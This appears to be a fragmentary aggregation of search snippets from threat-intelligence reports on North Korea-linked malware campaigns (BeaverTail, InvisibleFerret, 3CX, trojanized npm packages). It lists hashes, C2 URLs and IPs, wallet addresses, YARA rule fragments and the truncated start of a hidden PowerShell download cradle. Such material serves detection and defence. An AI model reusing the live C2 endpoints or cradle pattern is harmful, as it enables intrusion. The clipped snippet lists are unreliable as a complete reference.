reconstructed, in memory Node loader payload were not resolvable on disk, so the on disk staging artifacts are…","…malicious layouts via dependency 3 adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6 SHA-256 1 layouts tarball hash 4 bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17 SHA-256 1 components tarball hash 5 TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP Tron address 1 Primary dead drop (shared with astro.config.mjs…","…MD5 529fe6eff1cf452680976087e2250c02 SHA-256 bd2aa5805b76f272b43a595b3d73e29d0fc4647e15e87950b8f904ea26dcf053 SHA1 7e07765bf8ee2d0b2233039623016d6dfb610a6d Remediation Block all threat indicators at your respective controls. Search for…","…7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 f3d4144860ca10ba60f7ef4d176cc736 bea77d1e59cf18dce22ad9a2fad52948fd7a9efa aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 11bc82a9bd8297bd0823bce5d6202082…","…Indicators of Compromise (IOC) list filename sha1 3cxdesktopapp-18.12.407.msi bea77d1e59cf18dce22ad9a2fad52948fd7a9efa 3cxdesktopapp-18.12.416.msi bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 3CXDesktopApp-18.12.416-full.nupkg…","…Layer Protocol Indicators of Compromise (IOCs) Indicators Indicator Type Description f3d4144860ca10ba60f7ef4d176cc736 bea77d1e59cf18dce22ad9a2fad52948fd7a9efa aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 MD5 SHA1 SHA256 3CX Windows Installer…","…of Compromise) MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c…","…of Compromise MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c…","…UNK_RemoteRogue Malware Indicators Indicator Type Description First Seen bfb11abb82ab4c788156df862a5cf4fa085f1ac3203df7a46251373d55cc587c SHA256 HTML landing page December 2024…","…e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec 0eeb1c0133eb4d571178b2d9d14ce3e9 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3703770e32820397c6e7e1e1221e6d0d…","…filename sha1 3cxdesktopapp-18.12.407.msi bea77d1e59cf18dce22ad9a2fad52948fd7a9efa 3cxdesktopapp-18.12.416.msi bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 3CXDesktopApp-18.12.416-full.nupkg f7f1b34c2770d83e2250e19c8425a4bec56617fd 3CXDesktopApp_v18.12.407.0.exe…","…Size 97.8MB (102555648 Bytes) File Type Windows Installer MD5 0eeb1c0133eb4d571178b2d9d14ce3e9 SHA1 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e SHA256 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 The installer contains a malicious version of…","…MD5 SHA1 SHA256 3CX Windows Installer 0eeb1c0133eb4d571178b2d9d14ce3e9 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 MD5 SHA1 SHA256 3CX Windows Installer…","…FCCCall.exe 0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd FCCCall.exe c0110cb21ae0e7fb5dec83ca90db9e250b47a394662810f230eb621b0728aa97 FCCCall d801ad1beeab3500c65434da51326d7648a3c54923d794b2411b7b6a2960f31e FCCCall.dmg…","…can also be found in our GitHub repository here . SHA256 a206ea9b415a0eafd731b4eec762a5b5e8df8d9007e93046029d83316989790a - auto.py c2137cd870de0af6662f56c97d27b86004f47b866ab27190a97bde7518a9ac1b - auto.py 0d14960395a9d396d413c2160570116e835f8b3200033a0e4e150f5e50b68bec -…","…several files, including one download.ultraedit.info/bd.log that is saved to /Users/Shared/.fseventsd . The .fseventsd binary (SHA-1: C265765A15A59191240B253DB33554622393EA59 ) was originally undetected by the AV engines on VT: .fseventsd on VirusTotal From extracting its embedded strings, we can see that…","…9df01d242ef46adfedf8c35cb7cc67b1d27d7dc4a1ce74ab32e984090d579886 SHA-256 ecommerce-platform-main.zip Trojanized repository c5aed4c063d4970a03250778da8041da9e0c83d8f22d2f1994da0ad72567ebd9 SHA-256 shopping-platform.rar Trojanized repository cc97517f80f567977300450de11e9a0be53f52657525a20b1091c99fe9e45730 SHA-256…","…willotalents.com willotalents.org wtalents.us Hashes: e52118fc7fc9b14e5a8d9f61dfae8b140488ae6ec6f01f41d9e16782febad5f2 c6472eb993612db72ca50893a34137ba11173e60a1a4c028d4660a3f755d2490 a803c043e12a5dac467fae092b75aa08b461b8e9dd4c769cea375ff87287a361 d05f805d172583f1436eac2cfddcc5413ef6be0b37eda98ebca0cb0cfae8ad9e…","…@2aa85046 with prebuild hook 4 file_path scripts/prebuild.js stage 1 dropper run by npm prebuild (repo-relative) 5 payload_sha256 c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d verify_m stage 2 bash loader (Linux/macOS) 6 payload_sha256 465cd1a445782c72cbb30e82e57ebbae38f1535f248bf821b11bc4897d90180e verify_w /…","…{ meta: author = \"Google Threat Intelligence Group (GTIG)\" date_created = \"2025-11-03\" date_modified = \"2025-11-03\" md5 = \"c91725905b273e81e9cc6983a11c8d60\" rev = 1 strings: $str1 = \"mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)\" $str2 = \"/tmp/.%s\" $str3 = \"grep…","…Trojan Correlation ThreatBook was temporarily unable to obtain the WAVESHAPER sample referenced in Mandiant's disclosure report (MD5: c91725905b273e81e9cc6983a11c8d60 ).…","…File hashes (SHA-256) c9dab995cf61a066db149c8d5d4ce171fb9d20d246994a1fa4f27a5885088bbb itsa-utils-1.4.2.tgz 8ef2c6fc0347853469bd19203c4aa37f17192cc6faec21c8c4be0b1cdbf00104 itsa-utils-1.4.2…","…56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8f…","f08e3ee84714cc5faefb7ac300485c879356922003d667587c58d594d875294e 72ebfe69c69d2dd173bb92013ab44d895a3367f91f09e3f8d18acab44e37b26d caad2f3d85e467629aa535e0081865d329c4cd7e6ff20a000ea07e62bf2e4394 8efa928aa896a5bb3715b8b0ed20881029b0a165a296334f6533fa9169b4463b 77aec48003beeceb88e70bed138f535e1536f4bbbdff580528068ad6d184f379 0904eff1e…","…(macrasv2) = 85bed283ba95d40d99e79437e6a3161336c94ec0acbc0cd38599d0fc9b2e393c SHA256 (MauroDPRKSamples.zip) = cc31b3dc8aeed0af9dd24b7e739f183527d55d5b5ecd3d93ba45dd4aaa8ba260 SHA256 (minst2.bin) = 4b08a9e221a20b8024cf778d113732b3e12d363250231e78bae13b1f1dc1495b SHA256 (OneDrive) =…","…repository c5aed4c063d4970a03250778da8041da9e0c83d8f22d2f1994da0ad72567ebd9 SHA-256 shopping-platform.rar Trojanized repository cc97517f80f567977300450de11e9a0be53f52657525a20b1091c99fe9e45730 SHA-256 shopping-platform.rar Trojanized repository fb94b2caee2c40635448a98ba0118421e19a400e74ccff73315f8fa42351f53f SHA-256…","…IoC md5 (Files hashes contained in the downloaded ZIP archive) f277110800d861faa6a737c8d668d297 .npl cdf296d7404bd6193514284f021bfa54 arm64-fixer.zip 2d8c8c6323a4fea1952405f2daad5d7a browxyz2 f9e18687a38e968811b93351e9fca089…","…VBS launcher used in the ClickFake campaign\" source = \"Sekoia.io\" creation_date = \"2025-03-20\" classification = \"TLP:GREEN\" hash = \"ce37c75d35c82f933e14b00f32c25373\" strings: $s = \"objShell.Run \\\"cmd /c node \" condition: uint32be(0) == 0x53657420 and $s in (filesize-50..filesize) }rule…","…Payload1_1 (Payload Stager) ee3cc7c6bd58113f4a654c74052d252bfd0b0a942db7f71975ce698101aec305 SHA256 Payload1_2 (HTTP Payload Stager) ce47fef68059f569d00dd6a56a61aa9b2986bee1899d3f4d6cc7877b66afc2a6 SHA256 Payload1_1_1 (Dev#Popper.js RAT) eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30 SHA256 Payload1_2_1…","…suspended\" page # Additional package/component hashes ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6 ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9 714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add 1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636…","…hapi-lint@19.1.2 ether-lint@5.9.4 File Hashes (SHA-256) # ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6 ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9 714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add 1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636 ba3e52…","…or cyber security guidance , please contact the Cyber Centre . Malicious JavaScript configuration tailwind.config.js SHA256: d043f264ff5216fa724cad2d35ba4d895c43e295df72be6d46c07a3a46cfbd62 Payloads payload2.js (InvisibleFerret.Javascript) SHA256: 7237310e076459d2fce2f531941b5920e451f390a8b8e633787b62b68b1315d5…","…c6472eb993612db72ca50893a34137ba11173e60a1a4c028d4660a3f755d2490 a803c043e12a5dac467fae092b75aa08b461b8e9dd4c769cea375ff87287a361 d05f805d172583f1436eac2cfddcc5413ef6be0b37eda98ebca0cb0cfae8ad9e 96e78074218a0f272f7f94805cabde1ef8d64ffb 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 321972e4e72c5364ec1d5b9e488d15c641fb1819…","…69 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12…","…SHA-256 d19ac8533ab14d97f4150973ffa810e987dea853bb85edffb7c2fcef13ad2106 7846a0a0aa90871f0503c430cc03488194ea7840196b3f7c9404e0a536dbb15e 4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79 32257f…","…`preflight.js` (SHA256: `d21e2193f80378603c15bf71b6a7669c8a9266a04f34ea3502c82f1d80532bec`) was detected at the path `C:\\Windows\\System32\\DomainAuthHost`.…","…169b4463b 77aec48003beeceb88e70bed138f535e1536f4bbbdff580528068ad6d184f379 0904eff1edeff4b6eb27f03e0ccc759d6aa8d4e1317a1e6f6586cdb84db4a731 d27c9f75c3f1665ee19642381a4dd6f2e4038540442cf50948b43f418730fd0a 51ddd8f6ff30d76de45e06902c45c55163ddbec7d114ad89b21811ffedb71974 d89c45d65a825971d250d12bc7a449321e1977f194e52e4ca541e8a908712e47 6a9b4e853…","…Download of malicious payload Filename SHA256 First Seen Date Temp.b (also known as package.db) d2a74db6b9c900ad29a81432af72eee8ed4e22bf61055e7e8f7a5f1a33778277 2024-07-03 05:57:16 UTC NPM Authors nagasiren978 twitter…","…(DPRK Lazarus Group) Campaign : \"Contagious Interview\" supply chain attack File : stage4-decrypted.js (70,818 bytes) SHA256 : d4e269df0f50998c7ebf2bf56945d3d615fd6516702b1da8ac030ffcba735263 This last payload appears to be a new version of the Beavertail malware.…","…ATT_Loader_DLL.dll 3 MD5 8459e1c6f6c1d3996b3a86146eb961bf Loader1.dll 4 MD5 d4e2bd08c8366be665e54592dec1a7ce Dll64.dll 5 C2 https://cryptocopedia.com/upgrade/latest.asp 추가 악성코드 다운로드 5.…","…FCCCall.msi 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 FCCCall.msi d502f822e6c52345227b64e3c326e2dbefdd8fc3f844df0821598f8d3732f763 FCCCall.exe d5c0b89e1dfbe9f5e5b2c3f745af895a36adf772f0b72a22052ae6dfa045cea6 FCCCall.exe…","…Chen Lucas Steve Moore Jason Kwon Joshua Charles Palmer Naoki Murano IPs: 50.7.159.34 Hashes: CallRT.exe: d513bd5b54098b4713f323eb8d8bc8d814061a7f042b613311a5c750f8896b2c Contact Us Email: chollima_group@proton.me Phone: 0085-02-18111 This site Protected by DPRK CERT…","…ReactJS code used in ClickFake campaign\" source = \"Sekoia.io\" creation_date = \"2025-03-20\" classification = \"TLP:GREEN\" hash = \"d583a05680e83b5b4c7ac2d21920384b\" strings: $ = \"/invite/${\" $ = \"inviteUUID\" nocase $ = \"The content is copied to the clipboard\" $ = \"react.element\" $ = \"Interview\"…","…FCCCall.msi d502f822e6c52345227b64e3c326e2dbefdd8fc3f844df0821598f8d3732f763 FCCCall.exe d5c0b89e1dfbe9f5e5b2c3f745af895a36adf772f0b72a22052ae6dfa045cea6 FCCCall.exe 0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd FCCCall.exe…","…SHA256 google-update-support.vsix May 2026 d5e9288693aa745dc89368deac677e7ea1ec81e663283af30838cdae189b7a7e SHA256 extension.js May 2026 734699773e53d995f20d485eb61261033d9d00b4332b39ca26071bcd60cd352f…","…of Compromise Malicious npm Packages : axios@1.14.1 (shasum: 2553649f232204966871cea80a5d0d6adc700ca) axios@0.30.4 (shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71) plain-crypto-js@4.2.1 (shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766) Network Indicators : C2 domain: sfrclak.com C2 IP:…","…js | | d7c36881f91c45b66b32ec0c80f2d49ff90d76d2d147f2d208c6eea48842618c | OtterCookie | sha256 | File Name | | --- | --- | | 748 b044a62787bf8341ac46208ac5c7703b0cf6d0fffdd2c76160244247cd930 | tokenlinux .…","…SHA256 hash for BeaverTail - macOS Mach-O executable file: 0f5f0a3ac843df675168f82021c24180ea22f764f87f82f9f77fe8f0ba0b7132 d801ad1beeab3500c65434da51326d7648a3c54923d794b2411b7b6a2960f31e SHA256 hashes for BeaverTail Installers - Windows MSI files: 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670…","…84db4a731 d27c9f75c3f1665ee19642381a4dd6f2e4038540442cf50948b43f418730fd0a 51ddd8f6ff30d76de45e06902c45c55163ddbec7d114ad89b21811ffedb71974 d89c45d65a825971d250d12bc7a449321e1977f194e52e4ca541e8a908712e47 6a9b4e8537bb97e337627b4dd1390bdb03dc66646704bd4b68739d499bd53063 a6914ded72bdd21e2f76acde46bf92b385f9ec6f7e6b7fdb873f21438dfbff1d 9e65de386…","…uuindex, vitetest-lint, windowston, zoddle) Every package contains identical malicious code at vendor/scrypt-js/version.js (SHA256: da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 ).…","…throwaway accounts over February 25 - 26, 2026. All packages share a single malicious file at vendor/scrypt-js/version.js (SHA256: da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 ). The loader extracts C2 URLs steganographically encoded within three Pastebin pastes, innocuous computer science essays in which…","…the shout-out Socket! All seventeen packages contain an identical malicious JavaScript file at vendor/scrypt-js/version.js . sha256 da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 view raw sample — it’s highly obfuscated, my analysis is further below. Date Package npm user 2026-02-26 10:35:55 daytonjs v1.11.20…","…of Justice ) Email adonis_eros@outlook.com Reported actor-linked email (defanged) Unit 42 fake IT worker cluster ( Unit 42 ) SHA-1 DAFB44DA364926BDAFC72D72DBD9DD728067EFBD “nvidia.js” WeaselStore downloader (Windows) ESET DeceptiveDevelopment IoCs ( WeLiveSecurity ) 5.2 Detection guidance YARA: The…","…# Decoy \"Permanently suspended\" page # Additional package/component hashes ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6 ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9 714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add…","…argonist@0.41.0 uuindex@13.1.0 bcryptance@6.5.2 hapi-lint@19.1.2 ether-lint@5.9.4 File Hashes (SHA-256) # ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6 ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9 714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add 1b15f7…","…SHA256 hashes for BeaverTail Installers - Windows MSI files: 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 de6f9e9e2ce58a604fe22a9d42144191cfc90b4e0048dffcc69d696826ff7170 fd9e8fcc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0 SHA256 hashes for BeaverTail - Windows EXE files:…","…(SystemApp.zip) = 89616a503ffee8fc70f13c82c4a5e4fa4efafa61410971f4327ed38328af2938 SHA256 (TeamsApp.zip) = dfee6ea9cafc674b93a8460b9e6beea7f0eb0c28e28d1190309347fd1514dbb6 SHA256 (teamsSDK.bin) = 871d8f92b008a75607c9f1feb4922b9a02ac7bd2ed61b71ca752a5bed5448bf3 SHA256 (ZoomApp.zip) =…","…99bd53063 a6914ded72bdd21e2f76acde46bf92b385f9ec6f7e6b7fdb873f21438dfbff1d 9e65de386b40f185bf7c1d9b1380395e5ff606c2f8373c63204a52f8ddc01982 dff2a0fb344a0ad4b2c129712b2273fda46b5ea75713d23d65d5b03d0057f6dd http://23.227.202.244:1224/uploads http://23.227.202.244:1224/pdown http://23.227.202.244:1224/client/14/144 http://23.227.202.244:1224/pay…","…poisoned within 39 minutes, maximizing blast radius. 2.3 The setup.js Dropper Attribute VT-Verified Value SHA256 e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 SHA1 b0e0f12f1be57dc67fa375e860cedd19553c464d MD5 7658962ae060a222c0058cd4e979bfa1 Size 4,209 bytes Type JavaScript…","…endpoint User-Agent mozilla/4.0 (compatible; msie 8.0; ...) Beacon identifier File Hashes SHA-256 Description e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 setup.js dropper 506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4 macOS Mach-O RAT…","…/ http://sfrclak.com:8000/ (resolves to 142.11.206.73 ) 3 C2 23.254.167.216 4 SHA256 e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 SILKBELL (setup.js) 5 SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf…","…9bc46c59e734b2389328a5103739f42bed7d820c73f75c49cc5a2e8cacfe8940 SHA256 First unnamed piped bash script in Linux infection chain e224a1db42ae2164d6b2f2a7f1f0e02056e099fc8d669ce37cdaa0a2a2750e3b SHA256 Second unnamed piped bash script in Linux infection chain 4a1588e27a3f322e94e490173fe2bfa8d6e2f407b81a77af8787619b0d3d10bd…","…f66af7 18ec3c93e076e16447aee6fa390a44d3cb03e7f46e8466535ee76ed2041a88e5 75a82b9a2e7cfa0002fbbd1dbcb0bfaf5f6333169fd53507f7119593b9c4482e e3ed631addd7242e8c1f6faa90087742ff5b442e734132d2fe2594d65659eafd Table of contents Example H2 Example H3 Ready to escape the dark and elevate your security? Get a demo Ready to…","…SHA256 temp.vbs Stager script February 2025 e410ffadb3f5b6ca82cece8bce4fb378a43c507e3ba127ef669dbb84e3c73e61 SHA256 1.bat Loader January 2025…","…d0eaf68dcc97c092ce48ed65df49a8dcb7e1c3e2137f98ad16826ee5ef8d SHA256:0c47f6db79f5c4db86227b1fba4528ca8c2f8a1e86302863add8fd3f966b1b30 SHA256:e4677a8fb20517393a761c49075f0e4fdfe80f28f6bdeacb246e7d9b3858542f SHA256:7f78ce8bd2c7e2ccd71fc62bcfb29ce5b0d91efaff4c51f629195efb0293184d SHA256:ee93c0caa82ed4b362b1f13b230687cf403fea83f7a7e3090c9bbe089558…","…Win32_OperatingSystem).LastBootUpTime ... 3.3 Windows Persistence File Attribute VT-Verified Value SHA256 e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff SHA1 ae39c4c550ad656622736134035f17ca7a66a742 MD5 8c782b59a786f18520673e8d669e3b0a Size 203 bytes Type PowerShell…","…willotalent.us willotalent.xyz willotalentes.com willotalents.com willotalents.org wtalents.us Hashes: e52118fc7fc9b14e5a8d9f61dfae8b140488ae6ec6f01f41d9e16782febad5f2 c6472eb993612db72ca50893a34137ba11173e60a1a4c028d4660a3f755d2490 a803c043e12a5dac467fae092b75aa08b461b8e9dd4c769cea375ff87287a361…","…delivery archive 6a16b1ef16e999a0d32a4b9189f6f179d629ba143b5b03db06c95156ee089615 SHA256 update.vbs Windows launcher script e79b827b3cc29e940736dc20cc9c25958c0b09c25fc0bc8aacbd6365f38db71f SHA256 nvidiasdk.exe BeaverTail PE file 9bc46c59e734b2389328a5103739f42bed7d820c73f75c49cc5a2e8cacfe8940 SHA256 First unnamed…","…SHA256 23.254.229.101 IPv4 http://23.254.229.101/cat-video URL Hosts Tsunami-Installer e9571e21150d7333bfada0ef836adad555547411a2b56990da632f64d0262ef8 SHA256 a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acb SHA256 cat-video…","…IOCs SHA256 (com.onedrive.launcher.plist) = eb3eae776d175f7fb2fb9986c89154102ba8eabfde10a155af4dfb18f28be1b5 SHA256 (com.onedrive.launcher.tmp) = eb3eae776d175f7fb2fb9986c89154102ba8eabfde10a155af4dfb18f28be1b5 SHA256 (D1yCPUyk.bin) =…","…{ meta: author = \"Google Threat Intelligence Group (GTIG)\" date_created = \"2025-11-03\" date_modified = \"2025-11-03\" md5 = \"eb7635f4836c9e0aa4c315b18b051cb5\" rev = 1 strings: $str1 = \"__Z10RunCommand\" $str2 = \"__Z11GenerateUID\" $str3 = \"__Z11GetResponse\" $str4 = \"__Z13WriteCallback\"…","…macOS installer script 25c9fc5c5564a74430b92cb658d43e441dee1b3c0f692dc2571ac2918efa9a52 SHA256 x64nvidia BeaverTail Mach-O file eba9fdb2f077f9a3e14cf428162b967b5e6c189db19c33c5b11601efcd02b3d3 SHA256 payuniversal2 InvisibleFerret Mach-O file 17891f7db5a633c0186f3c2c8311a16a989b55bb0ba0430da7d2afb7f616c79c SHA256…","…MD5 index.js Trojan.Script.Agent 860DB751FC7700524BD3895B43DAB67C MD5 chai-as-init-1.4.5.tgz Trojan.Script.Agent EBED87A47743FA5D81F8E1B2BF6E9058 MD5 initializeCaller.js (v1.4.5) Trojan.Script.Agent 751F36896A5547C4EAECFF9EC80558CD MD5 chai-as-init-1.4.6.tgz…","…ff6941dc388516d8ca0215b757f9bee7584dea6c27c4c6993da192df1ab9 SHA256:486f305bdd09a3ef6636e92c6a9e01689b8fa977ed7ffb898453c43d47b5386d SHA256:ec234419fc512baded05f7b29fefbf12f898a505f62c43d3481aed90fef33687 FileName:0xhpenvynb-mvp_gamba-6b10f2e9dd85.zip SOLWallet:V2grJiwjs25iJYqumbHyKo5MTK7SFqZSdmoRaj8QWb9 Resources & References…","…Telegram bot @ mp0219_bot ( id 8201485511 ) - live exfil C2 PE stage - 2 SHA256 ec26774218bc9ba577cab41f108138831165d891e83252cce231a542e797a0d3 Telegram bot @ mp0219_bot ( id 8201485511 ) - live exfil C2 PE stage - 2 SHA256…","…VBScript dropper Created by node setup.js %TEMP%\\6202033.ps1 Windows PowerShell payload Downloaded from C2, self-deleting SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 %PROGRAMDATA%\\system.bat File created by PowerShell SHA-256:…","…wt.exe(Windows), PowerShell 바이너리의 이름이 변경 14 SHA256 ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c 6202033.ps1(Windows), PowerShell RAT 자체 삭제 15 SHA256…","…Hashes (SHA256) ede7f3ece611ba6c1ac4a02cf6a618b4ebd7eec6d9426b2baab3b5e26246e275 b302be4f9c515eb68d3e8b1ad8388d45b788eca34e7d53726d05c310a8f66af7 18ec3c93e076e16447aee6fa390a44d3cb03e7f46e8466535ee76ed2041a88e5 75a82b…","…/ Payload1) 16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8 SHA256 of initial payload Payload1_1 (Payload Stager) ee3cc7c6bd58113f4a654c74052d252bfd0b0a942db7f71975ce698101aec305 SHA256 Payload1_2 (HTTP Payload Stager) ce47fef68059f569d00dd6a56a61aa9b2986bee1899d3f4d6cc7877b66afc2a6 SHA256 Payload1_1_1…","…7a8fb20517393a761c49075f0e4fdfe80f28f6bdeacb246e7d9b3858542f SHA256:7f78ce8bd2c7e2ccd71fc62bcfb29ce5b0d91efaff4c51f629195efb0293184d SHA256:ee93c0caa82ed4b362b1f13b230687cf403fea83f7a7e3090c9bbe08955878c4 SHA256:91c47f8ddb5a937c461bee6021569544e6fa009e103e6f34b59b9d342338b76d FileName:/tmp/exec_throttle.lock Important note: Some engines,…","…and LinkedIn Profile: https://www.linkedin.com/in/duane-goodner/ Payload1_1_1 (Cross-Platform NodeJS Remote Access Trojan) SHA256: eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30 We now have the next stage of the payload, which is a larger obfuscated JS code piece. What is more disturbing is that commercial…","…Theft Indicators of Compromise Domain Name zkservice.cloud w3capi.marketing payloadrpc.com IP 45.159.248.55 MD5 ef13692228ee8e929c6e2e463b1ec30b 30ed90b4a570d6ff0c29759bfff491c2 01abb0b0fff83bea08eef2a1bd8cb413 9154c7d643e6d762dd1ab1df9125e4ea SHA-256…","…(난독화X) 3 MD5 9154c7d643e6d762dd1ab1df9125e4ea BeaverTail+OtterCookie (난독화) 4 MD5 ef13692228ee8e929c6e2e463b1ec30b BeaverTail+OtterCookie (json, 난독화) 5 C2 api.npoint.io/e9769067e97d0baa4d09 6 C2…","f08e3ee84714cc5faefb7ac300485c879356922003d667587c58d594d875294e 72ebfe69c69d2dd173bb92013ab44d895a3367f91f09e3f8d18acab44e37b26d caad2f3d85e467629aa535e0081865d329c4cd7e6ff20a000ea07e62bf2e4394 8efa928aa…","…//hylb9pbsjaqkl03g75jomhrsitz0msicjttolxo.pages.dev/Bc5Tg1EIVZYOgIJVIcV31JZUwXAhc4Hv7DIereUloKjH8Uhnw9vsQY9oq175PbclUjwm6bg52vH.aspx SHA256:f5669d80eb52f8b6fc90f5c5db98182e7d5297073f120a67b22700bf88c17d27 SHA256:318792ed0fcb64059670956468d7e0ef62edb15c967cd1f13fa8774e5e5c28ae SHA256:66c3d0eaf68dcc97c092ce48ed65df49a8dcb7e1c3e2137f98ad16826ee5…","…Matches the wallet published in the OpenSourceMalware NullReceiver research . File SHA-256 hashes (as they ship on npm today) f5c6be4753d6613c97f1b10c4d93a5d97a8f4fb21eb13da0ed04b23a8a61c2f6 .vscode/tasks.json (all 7 repos) 9fbb31129c04e8eb1a50519fc864c74d1b20d57c07d4099348f8fbc9a1a1eae6 public/fonts/fa-solid-400.woff2…","…response from 45.137.198.133 5cbcb8e11f6152c80cf88f752bcf9cb1077a88eac5e4eb02471f093248db01ac,SHA-256,4,/init JSON response f6d9f2fbf8091f431a802c4a0b8a5661278ee3f0854fb9040a0702e894b2309e,SHA-256,4,/0/body response (XOR encoded) 3be09f8c0a95f993a0ee99e08dca08eb15e1c0abeaf90b190a76e842028e552b,SHA-256,5,Python stealer from…","…Windows Stage 1 — system.bat (FULL SOURCE RECOVERED) Hash: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd Size: 265 bytes | Detection: 3/76 start /min powershell -w h -c \" & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString(…","…SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 %PROGRAMDATA%\\system.bat File created by PowerShell SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd C:\\ProgramData\\wt.exe Windows LOLBin Windows Terminal copy, used as PowerShell proxy /Library/Caches/com.apple.act.mond macOS binary…","…11 SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf ld.py(Linux) 12 SHA256 f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd system.bat(Windows) 13 SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f…","…Windows Payload Analysis 3.1 Stage 1 — Download Cradle Attribute VT-Verified Value SHA256 